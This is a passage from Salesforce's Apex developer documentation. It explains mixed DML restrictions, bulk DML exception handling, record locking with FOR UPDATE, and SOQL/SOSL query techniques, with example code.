• ObjectPermissions
• PermissionSet
• PermissionSetAssignment
• QueueSObject
• ObjectTerritory2AssignmentRule
• ObjectTerritory2AssignmentRuleItem
• RuleTerritory2Association
• SetupEntityAccess
• Territory2
• Territory2Model
• UserTerritory2Association
• User
You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce API version 14.0 and earlier.
You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce API version 15.0 and later if
UserRoleId is specified as null.
You can update a user in a transaction with other sObjects in Apex code saved using Salesforce API version 14.0 and earlier
You can update a user in a transaction with other sObjects in Apex code saved using Salesforce API version 15.0 and later if the
following fields are not also updated:
– UserRoleId
– IsActive
– ForecastEnabled
– IsPortalEnabled
– Username
– ProfileId
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• UserRole
• UserTerritory
• Territory
• Custom settings in Apex code saved using Salesforce API version 17.0 and earlier.
If you're using a Visualforce page with a custom controller, you can't mix sObject types with any of these special sObjects within a single
request or action. However, you can perform DML operations on these different types of sObjects in subsequent requests. For example,
you can create an account with a save button, and then create a user with a non-null role with a submit button.
You can perform DML operations on more than one type of sObject in a single class using the following process:
1. Create a method that performs a DML operation on one type of sObject.
2. Create a second method that uses the future annotation to manipulate a second sObject type.
This process is demonstrated in the example in the next section.
Example: Using a Future Method to Perform Mixed DML Operations
This example shows how to perform mixed DML operations by using a future method to perform a DML operation on the User object.
public class MixedDMLFuture {
public static void useFutureMethod() {
// First DML operation
Account a = new Account(Name='Acme');
insert a;
// This next operation (insert a user with a role)
// can't be mixed with the previous insert unless
// it is within a future method.
// Call future method to insert a user with a role.
Util.insertUserWithRole(
'mruiz@awcomputing.com', 'mruiz',
'mruiz@awcomputing.com', 'Ruiz');
}
}
public class Util {
@future
public static void insertUserWithRole(
String uname, String al, String em, String lname) {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
// Create new user with a non-null user role ID
User u = new User(alias = al, email=em,
emailencodingkey='UTF-8', lastname=lname,
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',
username=uname);
insert u;
}
}
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IN THIS SECTION:
Mixed DML Operations in Test Methods
Test methods allow for performing mixed Data Manipulation Language (DML) operations that include both setup sObjects and
other sObjects if the code that performs the DML operations is enclosed within System.runAs method blocks. You can also
perform DML in an asynchronous job that your test method calls. These techniques enable you, for example, to create a user with
a role and other sObjects in the same test.
Mixed DML Operations in Test Methods
Test methods allow for performing mixed Data Manipulation Language (DML) operations that include both setup sObjects and other
sObjects if the code that performs the DML operations is enclosed within System.runAs method blocks. You can also perform DML
in an asynchronous job that your test method calls. These techniques enable you, for example, to create a user with a role and other
sObjects in the same test.
The setup sObjects are listed in sObjects That Cannot Be Used Together in DML Operations.
Example: Mixed DML Operations in System.runAs Blocks
This example shows how to enclose mixed DML operations within System.runAs blocks to avoid the mixed DML error. The
System.runAs block runs in the current user’s context. It creates a test user with a role and a test account, which is a mixed DML
operation.
@isTest
private class MixedDML {
static testMethod void mixedDMLExample() {
User u;
Account a;
User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
// Insert account as current user
System.runAs (thisUser) {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
u = new User(alias = 'jsmith', email='jsmith@acme.com',
emailencodingkey='UTF-8', lastname='Smith',
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',
username='jsmith@acme.com');
insert u;
a = new Account(name='Acme');
insert a;
}
}
}
Use @future to Bypass the Mixed DML Error in a Test Method
Mixed DML operations within a single transaction aren’t allowed. You can’t perform DML on a setup sObject and another sObject in the
same transaction. However, you can perform one type of DML as part of an asynchronous job and the others in other asynchronous jobs
or in the original transaction. This class contains an @future method to be called by the class in the subsequent example.
public class InsertFutureUser {
@future
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public static void insertUser() {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
User futureUser = new User(firstname = 'Future', lastname = 'User',
alias = 'future', defaultgroupnotificationfrequency = 'N',
digestfrequency = 'N', email = 'test@test.org',
emailencodingkey = 'UTF-8', languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id,
timezonesidkey = 'America/Los_Angeles',
username = 'futureuser@test.org',
userpermissionsmarketinguser = false,
userpermissionsofflineuser = false, userroleid = r.Id);
insert(futureUser);
}
}
This class calls the method in the previous class.
@isTest
public class UserAndContactTest {
public testmethod static void testUserAndContact() {
InsertFutureUser.insertUser();
Contact currentContact = new Contact(
firstName = String.valueOf(System.currentTimeMillis()),
lastName = 'Contact');
insert(currentContact);
}
}
sObjects That Don’t Support DML Operations
Your organization contains standard objects provided by Salesforce and custom objects that you created. These objects can be accessed
in Apex as instances of the sObject data type. You can query these objects and perform DML operations on them. However, some
standard objects don’t support DML operations although you can still obtain them in queries. They include the following:
• AccountTerritoryAssignmentRule
• AccountTerritoryAssignmentRuleItem
• ApexComponent
• ApexPage
• BusinessHours
• BusinessProcess
• CategoryNode
• CurrencyType
• DatedConversionRate
• NetworkMember (allows update only)
• ProcessInstance
• Profile
• RecordType
• SelfServiceUser
• StaticResource
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• Territory2
• UserAccountTeamMember
• UserTerritory
• WebLink
Note: All standard and custom objects can also be accessed through the SOAP API. ProcessInstance is an exception. You can’t
create, update, or delete ProcessInstance in the SOAP API.
Bulk DML Exception Handling
Exceptions that arise from a bulk DML call (including any recursive DML operations in triggers that are fired as a direct result of the call)
are handled differently depending on where the original call came from:
• When errors occur because of a bulk DML call that originates directly from the Apex DML statements, or if the allOrNone
parameter of a Database DML method was specified as true, the runtime engine follows the “all or nothing” rule: during a single
operation, all records must be updated successfully or the entire operation rolls back to the point immediately preceding the DML
statement.
• When errors occur because of a bulk DML call that originates from the SOAP API with default settings, or if the allOrNone
parameter of a Database DML method was specified as false, the runtime engine attempts at least a partial save:
1. During the first attempt, the runtime engine processes all records. Any record that generates an error due to issues such as
validation rules or unique index violations is set aside.
2. If there were errors during the first attempt, the runtime engine makes a second attempt that includes only those records that
did not generate errors. All records that didn't generate an error during the first attempt are processed, and if any record generates
an error (perhaps because of race conditions) it is also set aside.
3. If there were additional errors during the second attempt, the runtime engine makes a third and final attempt which includes
only those records that didn’t generate errors during the first and second attempts. If any record generates an error, the entire
operation fails with the error message, “Too many batch retries in the presence of Apex triggers and partial failures.”
Note: Note the following:
– During the second and third attempts, governor limits are reset to their original state before the first attempt. See Execution
Governors and Limits on page 275.
– Apex triggers are fired for the first save attempt, and if errors are encountered for some records and subsequent attempts
are made to save the subset of successful records, triggers are re-fired on this subset of records.
Things You Should Know about Data in Apex
Non-Null Required Fields Values and Null Fields
When inserting new records or updating required fields on existing records, you must supply non-null values for all required fields.
Unlike the SOAP API, Apex allows you to change field values to null without updating the fieldsToNull array on the sObject
record. The API requires an update to this array due to the inconsistent handling of null values by many SOAP providers. Because
Apex runs solely on the Force.com platform, this workaround is unnecessary.
DML Not Supported with Some sObjects
DML operations are not supported with certain sObjects. See sObjects That Don’t Support DML Operations.
String Field Truncation and API Version
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value
that is too long for the field.
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sObject Properties to Enable DML Operations
To be able to insert, update, delete, or undelete an sObject record, the sObject must have the corresponding property (createable,
updateable, deletable, or undeletable respectively) set to true.
ID Values
The insert statement automatically sets the ID value of all new sObject records. Inserting a record that already has an ID—and
therefore already exists in your organization's data—produces an error. See Lists for more information.
The insert and update statements check each batch of records for duplicate ID values. If there are duplicates, the first five are
processed. For the sixth and all additional duplicate IDs, the SaveResult for those entries is marked with an error similar to the following:
Maximum number of duplicate updates in one batch (5 allowed). Attempt to update Id
more than once in this API call: number_of_attempts.
The ID of an updated sObject record cannot be modified in an update statement, but related record IDs can.
Fields With Unique Constraints
For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example,
inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must have
unique names.
System Fields Automatically Set
When inserting new records, system fields such as CreatedDate, CreatedById, and SystemModstamp are automatically
updated. You cannot explicitly specify these values in your Apex. Similarly, when updating records, system fields such as
LastModifiedDate, LastModifiedById, and SystemModstamp are automatically updated.
Maximum Number of Records Processed by DML Statement
You can pass a maximum of 10,000 sObject records to a single insert, update, delete, and undelete method.
Each upsert statement consists of two operations, one for inserting records and one for updating records. Each of these operations
is subject to the runtime limits for insert and update, respectively. For example, if you upsert more than 10,000 records and
all of them are being updated, you receive an error. (See Execution Governors and Limits on page 275)
Upsert and Foreign Keys
You can use foreign keys to upsert sObject records if they have been set as reference fields. For more information, see Field Types
in the Object Reference for Salesforce and Force.com.
Creating Records for Multiple Object Types
As with the SOAP API, you can create records in Apex for multiple object types, including custom objects, in one DML call with API
version 20.0 and later. For example, you can create a contact and an account in one call. You can create records for up to 10 object
types in one call.
Records are saved in the same order that they’re entered in the sObject input array. If you’re entering new records that have a
parent-child relationship, the parent record must precede the child record in the array. For example, if you’re creating a contact that
references an account that’s also being created in the same call, the account must have a smaller index in the array than the contact
does. The contact references the account by using an External ID field.
You can’t add a record that references another record of the same object type in the same call. For example, the Contact object has
a Reports To field that’s a reference to another contact. You can’t create two contacts in one call if one contact uses the
Reports To field to reference a second contact in the input array. You can create a contact that references another contact that
has been previously created.
Records for multiple object types are broken into multiple chunks by Salesforce. A chunk is a subset of the input array, and each
chunk contains records of one object type. Data is committed on a chunk-by-chunk basis. Any Apex triggers that are related to the
records in a chunk are invoked once per chunk. Consider an sObject input array that contains the following set of records:
account1, account2, contact1, contact2, contact3, case1, account3, account4, contact4
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Salesforce splits the records into five chunks:
1. account1, account2
2. contact1, contact2, contact3
3. case1
4. account3, account4
5. contact4
Each call can process up to 10 chunks. If the sObject array contains more than 10 chunks, you must process the records in more than
one call. For additional information about this feature, see Creating Records for Different Object Types in the SOAP API Developer's
Guide.
Note: For Apex, the chunking of the input array for an insert or update DML operation has two possible causes: the existence
of multiple object types or the default chunk size of 200. If chunking in the input array occurs because of both of these reasons,
each chunk is counted toward the limit of 10 chunks. If the input array contains only one type of sObject, you won’t hit this
limit. However, if the input array contains at least two sObject types and contains a high number of objects that are chunked
into groups of 200, you might hit this limit. For example, if you have an array that contains 1,001 consecutive leads followed
by 1,001 consecutive contacts, the array will be chunked into 12 groups: Two groups are due to the different sObject types of
Lead and Contact, and the remaining are due to the default chunking size of 200 objects. In this case, the insert or update
operation returns an error because you reached the limit of 10 chunks in hybrid arrays. The workaround is to call the DML
operation for each object type separately.
DML and Knowledge Objects
To execute DML code on knowledge articles (KnowledgeArticleVersion types such as the custom FAQ__kav article type), the running
user must have the Knowledge User feature license. Otherwise, calling a class method that contains DML operations on knowledge
articles results in errors. If the running user isn’t a system administrator and doesn’t have the Knowledge User feature license, calling
any method in the class returns an error even if the called method doesn’t contain DML code for knowledge articles but another
method in the class does. For example, the following class contains two methods, only one of which performs DML on a knowledge
article. A non-administrator non-knowledge user who calls the doNothing method will get the following error: DML operation
UPDATE not allowed on FAQ__kav
public class KnowledgeAccess {
public void doNothing() {
}
public void DMLOperation() {
FAQ__kav[] articles = [SELECT Id FROM FAQ__kav WHERE PublishStatus = 'Draft' and
Language = 'en_US'];
update articles;
}
}
As a workaround, cast the input array to the DML statement from an array of FAQ__kav articles to an array of the generic sObject
type as follows:
public void DMLOperation() {
FAQ__kav[] articles = [SELECT id FROM FAQ__kav WHERE PublishStatus = 'Draft' and
Language = 'en_US'];
update (sObject[]) articles;
}
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Locking Records
When an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user interface.
The client locking the records can perform logic on the records and make updates with the guarantee that the locked records won’t be
changed by another client during the lock period.
IN THIS SECTION:
Locking Statements
In Apex, you can use FOR UPDATE to lock sObject records while they’re being updated in order to prevent race conditions and
other thread safety problems.
Locking in a SOQL For Loop
Avoiding Deadlocks
Locking Statements
In Apex, you can use FOR UPDATE to lock sObject records while they’re being updated in order to prevent race conditions and other
thread safety problems.
While an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user interface.
The client locking the records can perform logic on the records and make updates with the guarantee that the locked records won’t be
changed by another client during the lock period. The lock gets released when the transaction completes.
To lock a set of sObject records in Apex, embed the keywords FOR UPDATE after any inline SOQL statement. For example, the following
statement, in addition to querying for two accounts, also locks the accounts that are returned:
Account [] accts = [SELECT Id FROM Account LIMIT 2 FOR UPDATE];
Note: You can’t use the ORDER BY keywords in any SOQL query that uses locking.
Locking Considerations
• While the records are locked by a client, the locking client can modify their field values in the database in the same transaction. Other
clients have to wait until the transaction completes and the records are no longer locked before being able to update the same
records. Other clients can still query the same records while they’re locked.
• If you attempt to lock a record currently locked by another client, your process waits for the lock to be released before acquiring a
new lock. If the lock isn’t released within 10 seconds, you will get a QueryException. Similarly, if you attempt to update a record
currently locked by another client and the lock isn’t released within 10 seconds, you will get a DmlException.
• If a client attempts to modify a locked record, the update operation might succeed if the lock gets released within a short amount
of time after the update call was made. In this case, it is possible that the updates will overwrite those made by the locking client if
the second client obtained an old copy of the record. To prevent this from happening, the second client must lock the record first.
The locking process returns a fresh copy of the record from the database through the SELECT statement. The second client can
use this copy to make new updates.
• When you perform a DML operation on one record, related records are locked in addition to the record in question. For more
information, see the Record Locking Cheat Sheet.
Warning: Use care when setting locks in your Apex code. See Avoiding Deadlocks.
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Locking in a SOQL For Loop
The FOR UPDATE keywords can also be used within SOQL for loops. For example:
for (Account[] accts : [SELECT Id FROM Account
FOR UPDATE]) {
// Your code
}
As discussed in SOQL For Loops, the example above corresponds internally to calls to the query() and queryMore() methods
in the SOAP API.
Note that there is no commit statement. If your Apex trigger completes successfully, any database changes are automatically committed.
If your Apex trigger does not complete successfully, any changes made to the database are rolled back.
Avoiding Deadlocks
Apex has the possibility of deadlocks, as does any other procedural logic language involving updates to multiple database tables or
rows. To avoid such deadlocks, the Apex runtime engine:
1. First locks sObject parent records, then children.
2. Locks sObject records in order of ID when multiple records of the same type are being edited.
As a developer, use care when locking rows to ensure that you are not introducing deadlocks. Verify that you are using standard deadlock
avoidance techniques by accessing tables and rows in the same order from all locations in an application.
SOQL and SOSL Queries
You can evaluate Salesforce Object Query Language (SOQL) or Salesforce Object Search Language (SOSL) statements on-the-fly in Apex
by surrounding the statement in square brackets.
SOQL Statements
SOQL statements evaluate to a list of sObjects, a single sObject, or an Integer for count method queries.
For example, you could retrieve a list of accounts that are named Acme:
List<Account> aa = [SELECT Id, Name FROM Account WHERE Name = 'Acme'];
From this list, you can access individual elements:
if (!aa.isEmpty()) {
// Execute commands
}
You can also create new objects from SOQL queries on existing ones. The following example creates a new contact for the first account
with the number of employees greater than 10:
Contact c = new Contact(Account = [SELECT Name FROM Account
WHERE NumberOfEmployees > 10 LIMIT 1]);
c.FirstName = 'James';
c.LastName = 'Yoyce';
Note that the newly created object contains null values for its fields, which will need to be set.
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The count method can be used to return the number of rows returned by a query. The following example returns the total number
of contacts with the last name of Weissman:
Integer i = [SELECT COUNT() FROM Contact WHERE LastName = 'Weissman'];
You can also operate on the results using standard arithmetic:
Integer j = 5 * [SELECT COUNT() FROM Account];
SOQL limits apply when executing SOQL queries. See Execution Governors and Limits.
For a full description of SOQL query syntax, see the Salesforce SOQL and SOSL Reference Guide.
SOSL Statements
SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type. The result
lists are always returned in the same order as they were specified in the SOSL query. If a SOSL query does not return any records for a
specified sObject type, the search results include an empty list for that sObject.
For example, you can return a list of accounts, contacts, opportunities, and leads that begin with the phrase map:
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
Contact, Opportunity, Lead];
Note: The syntax of the FIND clause in Apex differs from the syntax of the FIND clause in the SOAP API and REST API :
• In Apex, the value of the FIND clause is demarcated with single quotes. For example:
FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead
• In the Force.com API, the value of the FIND clause is demarcated with braces. For example:
FIND {map*} IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead
From searchList, you can create arrays for each object returned:
Account [] accounts = ((List<Account>)searchList[0]);
Contact [] contacts = ((List<Contact>)searchList[1]);
Opportunity [] opportunities = ((List<Opportunity>)searchList[2]);
Lead [] leads = ((List<Lead>)searchList[3]);
SOSL limits apply when executing SOSL queries. See Execution Governors and Limits.
For a full description of SOSL query syntax, see the Salesforce SOQL and SOSL Reference Guide.
IN THIS SECTION:
1. Working with SOQL and SOSL Query Results
2. Accessing sObject Fields Through Relationships
3. Understanding Foreign Key and Parent-Child Relationship SOQL Queries
4. Working with SOQL Aggregate Functions
5. Working with Very Large SOQL Queries
6. Using SOQL Queries That Return One Record
7. Improve Performance by Avoiding Null Values
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8. Working with Polymorphic Relationships in SOQL Queries
A polymorphic relationship is a relationship between objects where a referenced object can be one of several different types. For
example, the What relationship field of an Event could be an Account, a Campaign, or an Opportunity.
9. Using Apex Variables in SOQL and SOSL Queries
10. Querying All Records with a SOQL Statement
Working with SOQL and SOSL Query Results
SOQL and SOSL queries only return data for sObject fields that are selected in the original query. If you try to access a field that was not
selected in the SOQL or SOSL query (other than ID), you receive a runtime error, even if the field contains a value in the database. The
following code example causes a runtime error:
insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is not selected
String name = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1].Name;
The following is the same code example rewritten so it does not produce a runtime error. Note that Name has been added as part of
the select statement, after Id.
insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is now selected
String name = [SELECT Id, Name FROM Account WHERE Name = 'Singha' LIMIT 1].Name;
Even if only one sObject field is selected, a SOQL or SOSL query always returns data as complete records. Consequently, you must
dereference the field in order to access it. For example, this code retrieves an sObject list from the database with a SOQL query, accesses
the first account record in the list, and then dereferences the record's AnnualRevenue field:
Double rev = [SELECT AnnualRevenue FROM Account
WHERE Name = 'Acme'][0].AnnualRevenue;
// When only one result is returned in a SOQL query, it is not necessary
// to include the list's index.
Double rev2 = [SELECT AnnualRevenue FROM Account
WHERE Name = 'Acme' LIMIT 1].AnnualRevenue;
The only situation in which it is not necessary to dereference an sObject field in the result of an SOQL query, is when the query returns
an Integer as the result of a COUNT operation:
Integer i = [SELECT COUNT() FROM Account];
Fields in records returned by SOSL queries must always be dereferenced.
Also note that sObject fields that contain formulas return the value of the field at the time the SOQL or SOSL query was issued. Any
changes to other fields that are used within the formula are not reflected in the formula field value until the record has been saved and
re-queried in Apex. Like other read-only sObject fields, the values of the formula fields themselves cannot be changed in Apex.
Accessing sObject Fields Through Relationships
sObject records represent relationships to other records with two fields: an ID and an address that points to a representation of the
associated sObject. For example, the Contact sObject has both an AccountId field of type ID, and an Account field of type Account
that points to the associated sObject record itself.
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The ID field can be used to change the account with which the contact is associated, while the sObject reference field can be used to
access data from the account. The reference field is only populated as the result of a SOQL or SOSL query (see note).
For example, the following Apex code shows how an account and a contact can be associated with one another, and then how the
contact can be used to modify a field on the account:
Note: To provide the most complete example, this code uses some elements that are described later in this guide:
• For information on insert and update, see Insert Statement on page 617 and Update Statement on page 617.
Account a = new Account(Name = 'Acme');
insert a; // Inserting the record automatically assigns a
// value to its ID field
Contact c = new Contact(LastName = 'Weissman');
c.AccountId = a.Id;
// The new contact now points at the new account
insert c;
// A SOQL query accesses data for the inserted contact,
// including a populated c.account field
c = [SELECT Account.Name FROM Contact WHERE Id = :c.Id];
// Now fields in both records can be changed through the contact
c.Account.Name = 'salesforce.com';
c.LastName = 'Roth';
// To update the database, the two types of records must be
// updated separately
update c;
// This only changes the contact's last name
update c.Account; // This updates the account name
Note: The expression c.Account.Name, and any other expression that traverses a relationship, displays slightly different
characteristics when it is read as a value than when it is modified:
• When being read as a value, if c.Account is null, then c.Account.Name evaluates to null, but does not yield a
NullPointerException. This design allows developers to navigate multiple relationships without the tedium of having
to check for null values.
• When being modified, if c.Account is null, then c.Account.Name does yield a NullPointerException.
In SOSL, you would access data for the inserted contact in a similar way to the SELECT statement used in the previous SOQL example.
List<List<SObject>> searchList = [FIND 'Acme' IN ALL FIELDS RETURNING
Contact(id,Account.Name)]
In addition, the sObject field key can be used with insert, update, or upsert to resolve foreign keys by external ID. For example:
Account refAcct = new Account(externalId__c = '12345');
Contact c = new Contact(Account = refAcct, LastName = 'Kay');
insert c;
This inserts a new contact with the AccountId equal to the account with the external_id equal to ‘12345’. If there is no such
account, the insert fails.
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Tip: The following code is equivalent to the code above. However, because it uses a SOQL query, it is not as efficient. If this code
was called multiple times, it could reach the execution limit for the maximum number of SOQL queries. For more information on
execution limits, see Execution Governors and Limits on page 275.
Account refAcct = [SELECT Id FROM Account WHERE externalId__c='12345'];
Contact c = new Contact(Account = refAcct.Id);
insert c;
Understanding Foreign Key and Parent-Child Relationship SOQL Queries
The SELECT statement of a SOQL query can be any valid SOQL statement, including foreign key and parent-child record joins. If foreign
key joins are included, the resulting sObjects can be referenced using normal field notation. For example:
System.debug([SELECT Account.Name FROM Contact
WHERE FirstName = 'Caroline'].Account.Name);
Additionally, parent-child relationships in sObjects act as SOQL queries as well. For example:
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts)
FROM Account
WHERE Name = 'Acme']) {
Contact[] cons = a.Contacts;
}
//The following example also works because we limit to only 1 contact
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts LIMIT 1)
FROM Account
WHERE Name = 'testAgg']) {
Contact c = a.Contacts;
}
Working with SOQL Aggregate Functions
Aggregate functions in SOQL, such as SUM() and MAX(), allow you to roll up and summarize your data in a query. For more information
on aggregate functions, see “Aggregate Functions” in the Salesforce SOQL and SOSL Reference Guide.
You can use aggregate functions without using a GROUP BY clause. For example, you could use the AVG() aggregate function to
find the average Amount for all your opportunities.
AggregateResult[] groupedResults
= [SELECT AVG(Amount)aver FROM Opportunity];
Object avgAmount = groupedResults[0].get('aver');
Note that any query that includes an aggregate function returns its results in an array of AggregateResult objects. AggregateResult is a
read-only sObject and is only used for query results.
Aggregate functions become a more powerful tool to generate reports when you use them with a GROUP BY clause. For example,
you could find the average Amount for all your opportunities by campaign.
AggregateResult[] groupedResults
= [SELECT CampaignId, AVG(Amount)
FROM Opportunity
GROUP BY CampaignId];
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for (AggregateResult ar : groupedResults) {
System.debug('Campaign ID' + ar.get('CampaignId'));
System.debug('Average amount' + ar.get('expr0'));
}
Any aggregated field in a SELECT list that does not have an alias automatically gets an implied alias with a format expri, where i
denotes the order of the aggregated fields with no explicit aliases. The value of i starts at 0 and increments for every aggregated field
with no explicit alias. For more information, see “Using Aliases with GROUP BY” in the Salesforce SOQL and SOSL Reference Guide.
Note: Queries that include aggregate functions are subject to the same governor limits as other SOQL queries for the total number
of records returned. This limit includes any records included in the aggregation, not just the number of rows returned by the query.
If you encounter this limit, you should add a condition to the WHERE clause to reduce the amount of records processed by the
query.
Working with Very Large SOQL Queries
Your SOQL query sometimes returns so many sObjects that the limit on heap size is exceeded and an error occurs. To resolve, use a SOQL
query for loop instead, since it can process multiple batches of records by using internal calls to query and queryMore.
For example, if the results are too large, this syntax causes a runtime exception:
Account[] accts = [SELECT Id FROM Account];
Instead, use a SOQL query for loop as in one of the following examples:
// Use this format if you are not executing DML statements
// within the for loop
for (Account a : [SELECT Id, Name FROM Account
WHERE Name LIKE 'Acme%']) {
// Your code without DML statements here
}
// Use this format for efficiency if you are executing DML statements
// within the for loop
for (List<Account> accts : [SELECT Id, Name FROM Account
WHERE Name LIKE 'Acme%']) {
// Your code here
update accts;
}
The following example demonstrates a SOQL query for loop that’s used to mass update records. Suppose that you want to change
the last name of a contact in records for contacts whose first and last names match specified criteria:
public void massUpdate() {
for (List<Contact> contacts:
[SELECT FirstName, LastName FROM Contact]) {
for(Contact c : contacts) {
if (c.FirstName == 'Barbara' &&
c.LastName == 'Gordon') {
c.LastName = 'Wayne';
}
}
update contacts;
}
}
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Instead of using a SOQL query in a for loop, the preferred method of mass updating records is to use batch Apex, which minimizes
the risk of hitting governor limits.
For more information, see SOQL For Loops on page 154.
More Efficient SOQL Queries
For best performance, SOQL queries must be selective, particularly for queries inside triggers. To avoid long execution times, the system
can terminate nonselective SOQL queries. Developers receive an error message when a non-selective query in a trigger executes against
an object that contains more than 200,000 records. To avoid this error, ensure that the query is selective.
Selective SOQL Query Criteria
• A query is selective when one of the query filters is on an indexed field and the query filter reduces the resulting number of rows
below a system-defined threshold. The performance of the SOQL query improves when two or more filters used in the WHERE
clause meet the mentioned conditions.
• The selectivity threshold is 10% of the first million records and less than 5% of the records after the first million records, up to a
maximum of 333,333 records. In some circumstances, for example with a query filter that is an indexed standard field, the
threshold can be higher. Also, the selectivity threshold is subject to change.
Custom Index Considerations for Selective SOQL Queries
• The following fields are indexed by default.
– Primary keys (Id, Name, and OwnerId fields)
– Foreign keys (lookup or master-detail relationship fields)
– Audit dates (CreatedDate and SystemModstamp fields)
– RecordType fields (indexed for all standard objects that feature them)
– Custom fields that are marked as External ID or Unique
• When the Salesforce optimizer recognizes that an index can improve performance for frequently run queries, fields that aren’t
indexed by default are automatically indexed.
• Salesforce Support can add custom indexes on request for customers.
• A custom index can't be created on these types of fields: multi-select picklists, currency fields in a multicurrency organization,
long text fields, some formula fields, and binary fields (fields of type blob, file, or encrypted text.) New data types, typically complex
ones, are periodically added to Salesforce, and fields of these types don’t always allow custom indexing.
• You can’t create custom indexes on formula fields that include invocations of the TEXT function on picklist fields.
• Typically, a custom index isn’t used in these cases.
– The queried values exceed the system-defined threshold.
– The filter operator is a negative operator such as NOT EQUAL TO (or !=), NOT CONTAINS, and NOT STARTS
WITH.
– The CONTAINS operator is used in the filter, and the number of rows to be scanned exceeds 333,333. The CONTAINS
operator requires a full scan of the index. This threshold is subject to change.
– You’re comparing with an empty value (Name != '').
However, there are other complex scenarios in which custom indexes can’t be used. Contact your Salesforce representative if
your scenario isn't covered by these cases or if you need further assistance with non-selective queries.
Examples of Selective SOQL Queries
To better understand whether a query on a large object is selective or not, let's analyze some queries. For these queries, assume that
there are more than 200,000 records for the Account sObject. These records include soft-deleted records, that is, deleted records
that are still in the Recycle Bin.
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Query 1:
SELECT Id FROM Account WHERE Id IN (<list of account IDs>)
The WHERE clause is on an indexed field (Id). If SELECT COUNT() FROM Account WHERE Id IN (<list of
account IDs>) returns fewer records than the selectivity threshold, the index on Id is used. This index is typically used when
the list of IDs contains only a few records.
Query 2:
SELECT Id FROM Account WHERE Name != ''
Since Account is a large object even though Name is indexed (primary key), this filter returns most of the records, making the query
non-selective.
Query 3:
SELECT Id FROM Account WHERE Name != '' AND CustomField__c = 'ValueA'
Here we have to see if each filter, when considered individually, is selective. As we saw in the previous example, the first filter isn't
selective. So let's focus on the second one. If the count of records returned by SELECT COUNT() FROM Account WHERE
CustomField__c = 'ValueA' is lower than the selectivity threshold, and CustomField__c is indexed, the query is selective.
Using SOQL Queries That Return One Record
SOQL queries can be used to assign a single sObject value when the result list contains only one element. When the L-value of an
expression is a single sObject type, Apex automatically assigns the single sObject record in the query result list to the L-value. A runtime
exception results if zero sObjects or more than one sObject is found in the list. For example:
List<Account> accts = [SELECT Id FROM Account];
// These lines of code are only valid if one row is returned from
// the query. Notice that the second line dereferences the field from the
// query without assigning it to an intermediary sObject variable.
Account acct = [SELECT Id FROM Account];
String name = [SELECT Name FROM Account].Name;
Improve Performance by Avoiding Null Values
In your SOQL and SOSL queries, explicitly filtering out null values in the WHERE clause allows Salesforce to improve query performance.
In the following example, any records where the Thread__c value is null are eliminated from the search.
Public class TagWS {
/* getThreadTags
*
* a quick method to pull tags not in the existing list
*
*/
public static webservice List<String>
getThreadTags(String threadId, List<String> tags) {
system.debug(LoggingLevel.Debug,tags);
List<String> retVals = new List<String>();
Set<String> tagSet = new Set<String>();
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Set<String> origTagSet = new Set<String>();
origTagSet.addAll(tags);
// Note WHERE clause optimizes search where Thread__c is not null
for(CSO_CaseThread_Tag__c t :
[SELECT Name FROM CSO_CaseThread_Tag__c
WHERE Thread__c = :threadId AND
Thread__c != null])
{
tagSet.add(t.Name);
}
for(String x : origTagSet) {
// return a minus version of it so the UI knows to clear it
if(!tagSet.contains(x)) retVals.add('-' + x);
}
for(String x : tagSet) {
// return a plus version so the UI knows it's new
if(!origTagSet.contains(x)) retvals.add('+' + x);
}
return retVals;
}
}
Working with Polymorphic Relationships in SOQL Queries
A polymorphic relationship is a relationship between objects where a referenced object can be one of several different types. For example,
the What relationship field of an Event could be an Account, a Campaign, or an Opportunity.
The following describes how to use SOQL queries with polymorphic relationships in Apex. If you want more general information on
polymorphic relationships, see Understanding Polymorphic Keys and Relationships in the Force.com SOQL and SOSL Reference.
You can use SOQL queries that reference polymorphic fields in Apex to get results that depend on the object type referenced by the
polymorphic field. One approach is to filter your results using the Type qualifier. This example queries Events that are related to an
Account or Opportunity via the What field.
List<Event> = [SELECT Description FROM Event WHERE What.Type IN ('Account', 'Opportunity')];
Another approach would be to use the TYPEOF clause in the SOQL SELECT statement. This example also queries Events that are
related to an Account or Opportunity via the What field.
List<Event> = [SELECT TYPEOF What WHEN Account THEN Phone WHEN Opportunity THEN Amount END
FROM Event];
Note: TYPEOF is currently available as a Developer Preview as part of the SOQL Polymorphism feature. For more information
on enabling TYPEOF for your organization, contact Salesforce.
These queries will return a list of sObjects where the relationship field references the desired object types.
If you need to access the referenced object in a polymorphic relationship, you can use the instanceof keyword to determine the object
type. The following example uses instanceof to determine whether an Account or Opportunity is related to an Event.
Event myEvent = eventFromQuery;
if (myEvent.What instanceof Account) {
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// myEvent.What references an Account, so process accordingly
